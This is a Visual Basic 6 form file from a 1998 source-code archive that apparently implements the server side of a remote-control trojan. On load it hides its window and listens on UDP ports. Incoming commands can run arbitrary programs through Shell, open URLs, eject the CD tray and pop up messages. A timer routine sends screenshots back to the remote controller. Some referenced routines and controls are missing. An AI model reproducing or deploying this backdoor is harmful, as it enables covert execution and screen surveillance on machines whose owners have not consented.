home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / do-eve1r / form1.frm < prev    next >
Text File  |  1998-12-26  |  5KB  |  174 lines
  1. VERSION 5.00
  2. Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
  3. Begin VB.Form Form1 
  4.    BackColor       =   &H00000000&
  5.    Caption         =   "Form1"
  6.    ClientHeight    =   4035
  7.    ClientLeft      =   165
  8.    ClientTop       =   915
  9.    ClientWidth     =   5115
  10.    Icon            =   "Form1.frx":0000
  11.    LinkTopic       =   "Form1"
  12.    ScaleHeight     =   4035
  13.    ScaleWidth      =   5115
  14.    StartUpPosition =   3  'Windows Default
  15.    Begin VB.Frame Frame1 
  16.       BackColor       =   &H00800000&
  17.       Caption         =   "Current People Connected"
  18.       ForeColor       =   &H00FF0000&
  19.       Height          =   3615
  20.       Left            =   2400
  21.       TabIndex        =   1
  22.       Top             =   120
  23.       Width           =   2535
  24.       Begin VB.ListBox List1 
  25.          BackColor       =   &H00808080&
  26.          Height          =   3180
  27.          Left            =   120
  28.          TabIndex        =   2
  29.          Top             =   240
  30.          Width           =   2295
  31.       End
  32.    End
  33.    Begin VB.PictureBox Picture1 
  34.       AutoSize        =   -1  'True
  35.       Height          =   1095
  36.       Left            =   4320
  37.       ScaleHeight     =   1035
  38.       ScaleWidth      =   1515
  39.       TabIndex        =   0
  40.       Top             =   4320
  41.       Visible         =   0   'False
  42.       Width           =   1575
  43.    End
  44.    Begin MSWinsockLib.Winsock Winsock1 
  45.       Left            =   3480
  46.       Top             =   3720
  47.       _ExtentX        =   741
  48.       _ExtentY        =   741
  49.    End
  50.    Begin MSWinsockLib.Winsock Winsock2 
  51.       Left            =   2160
  52.       Top             =   3840
  53.       _ExtentX        =   741
  54.       _ExtentY        =   741
  55.    End
  56.    Begin VB.Label Label1 
  57.       Caption         =   $"Form1.frx":08CA
  58.       Height          =   3495
  59.       Left            =   120
  60.       TabIndex        =   3
  61.       Top             =   240
  62.       Width           =   2175
  63.    End
  64.    Begin VB.Menu message 
  65.       Caption         =   "&Message"
  66.       Begin VB.Menu sendmessage 
  67.          Caption         =   "&Send a message to selected user"
  68.       End
  69.    End
  70. End
  71. Attribute VB_Name = "Form1"
  72. Attribute VB_GlobalNameSpace = False
  73. Attribute VB_Creatable = False
  74. Attribute VB_PredeclaredId = True
  75. Attribute VB_Exposed = False
  76.  
  77. Private Declare Function ShellExecute Lib "shell32.dll" Alias _
  78.     "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As _
  79.     String, ByVal lpFile As String, ByVal lpParameters As String, _
  80.     ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  81.  
  82. Private Sub Form_Load()
  83.    With Winsock2
  84.      .Protocol = sckUDPProtocol
  85.      .LocalPort = 693
  86.      .Bind
  87.     End With
  88.     With Winsock1
  89.      .Protocol = sckUDPProtocol
  90.      .LocalPort = 692
  91.      .Bind
  92.     End With
  93.     m = Winsock1.LocalIP
  94.  Me.Visible = False
  95. End Sub
  96.  
  97. Private Sub Timer1_Timer()
  98. GetWindowSnapShot 0, Picture1
  99. Winsock1.RemoteHost = Winsock1.RemoteHostIP
  100. Winsock1.SendData Picture1.Picture
  101. End Sub
  102.  
  103. Private Sub List1_DblClick()
  104. Winsock1.Close
  105. List1.Clear
  106. End Sub
  107.  
  108. Private Sub List1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
  109. If Button = 2 Then
  110. PopupMenu message
  111. End If
  112. End Sub
  113.  
  114. Private Sub sendmessage_Click()
  115. If List1.Text <> "" Then
  116. ip = List1.Text
  117. Form2.Show
  118. End If
  119. End Sub
  120.  
  121. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  122. Dim data As String
  123. Winsock1.RemoteHost = Winsock1.RemoteHostIP
  124. On Error GoTo err
  125.     Winsock1.GetData data
  126.  
  127.  
  128.     Select Case data
  129.     Case "Connect"
  130.         List1.AddItem Winsock1.RemoteHostIP
  131.         Winsock1.SendData "Remote computer connected to server"
  132.     Case "Open Cdrom"
  133.         CDOpen
  134.         Winsock1.SendData Winsock1.LocalIP & " Opened the cdrom"
  135.     Case "Close Cdrom"
  136.         CDClose
  137.         Winsock1.SendData Winsock1.LocalIP & " Closed the cdrom"
  138.   
  139.     End Select
  140.     
  141.   Select Case Left(data, 3)
  142.   Case "Web"
  143.     ms = Right(data, Len(data) - 4)
  144.     ret& = ShellExecute(Me.hWnd, "Open", ms, "", App.Path, 1)
  145.     Winsock1.SendData Winsock1.LocalIP & " Opened a website"
  146.   Case "Ope"
  147.     ms = Right(data, Len(data) - 4)
  148.     X = Shell(ms, vbNormalFocus)
  149.     
  150.  
  151.     Case "Mes"
  152.     ms = Right(data, Len(data) - 4)
  153.     MsgBox ms
  154.     Winsock1.SendData "Loop Recieved, and being displayed"
  155.     End Select
  156. err:
  157.     Exit Sub
  158. End Sub
  159.  
  160. Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
  161.  
  162. Select Case Left(data, 3)
  163. Case "Meg"
  164.  
  165.     ms = Right(data, Len(data) - 4)
  166.     If Form3.Visible = False Then
  167.     Form3.Text1.Text = ""
  168.     Form3.Text1.SelText = ms
  169.     Form3.Show
  170.     End If
  171.     End Select
  172. End Sub
  173.  
  174.